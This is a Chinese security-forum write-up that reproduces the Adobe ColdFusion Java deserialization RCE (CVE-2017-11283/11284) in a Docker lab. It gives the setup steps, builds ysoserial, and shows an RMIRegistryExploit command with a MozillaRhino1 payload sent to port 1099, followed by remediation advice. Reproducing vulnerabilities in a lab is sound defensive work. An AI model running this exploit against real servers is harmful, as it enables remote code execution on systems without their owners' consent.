Adobe ColdFusion 反序列化漏洞 (CVE–2017–11283, CVE–2017–11284)复现过程

大先知 / 2017-11-30 11:16:00 / 浏览数 2962 安全技术 漏洞分析 顶(0) 踩(0)

漏洞简介

Adobe ColdFusion 在 2017 年 9 月 12 日发布的安全更新中提及到之前版本中存在严重的反序列化漏洞（CVE-2017-11283, CVE-2017-11284），可导致远程代码执行。当使用 Flex 集成服务开启 Remote Adobe LiveCycle Data Management access 的情况下可能受到该漏洞的影响，使用该功能会开启 RMI 服务，监听的端口为 1099。ColdFusion 自带的 Java 版本过低，不会在反序列化之前对 RMI 请求中的对象类型进行检验。

影响版本

ColdFusion (2016 release) Update 4 以及之前的版本

ColdFusion 11 Update 12 以及之前版本

环境搭建

1. 拉取镜像
   `docker pull accent/coldfusion2016`
2. 创建容器
   `docker run -d -p 1099:1099 -p 8500:8500 --name "coldfusion_rce" accent/coldfusion2016`
3. 进入容器，修改配置文件
   `docker exec -ti coldfusion_rce /bin/bash`
   `vi /opt/coldfusion2016/cfusion/wwwroot/WEB-INF/gateway-config.xml`
   将`<!--<adapter>coldfusion.flash.adapter.CFWSAdapter</adapter>-->`注释去掉
1. 登陆控制台开启RMI
   访问`http://localhost:8500/CFIDE/administrator/index.cfm`，账号:`amdin`，密码:`Adm1n!12`，修改下图配置
1. 重启容器
   `docker restart coldfusion_rce`

至此，漏洞环境搭建完毕，开始复现漏洞。

漏洞复现

这里复现漏洞使用大名鼎鼎的反序列化工具--ysoseria
下载
`git clone https://github.com/frohoff/ysoserial.git`
mvn 安装
`mvn clean package -DskipTests`

这里exploit用到的是`RMIRegistryExploit` ，payload用的是`MozillaRhino1`，直接连接1099端口发送执行命令

```
java -cp target/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 1099 MozillaRhino1 "touch /tmp
```

发送payload后报错

但其实命令已经执行成功了，可以看到漏洞环境下的`tmp`目录，`test`已经创建成功了。

漏洞修复

在管理页面关闭 Remote Adobe LiveCycle Data Management access

升级最新补丁 ColdFusion (2016 release) Update 5，ColdFusion 11 Update 13

上一篇：JSONP的SOME 下一篇：2017全球互联网技术大会PPT链接

1. 0 条回复
   - 动动手指，沙发就是你的了！

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板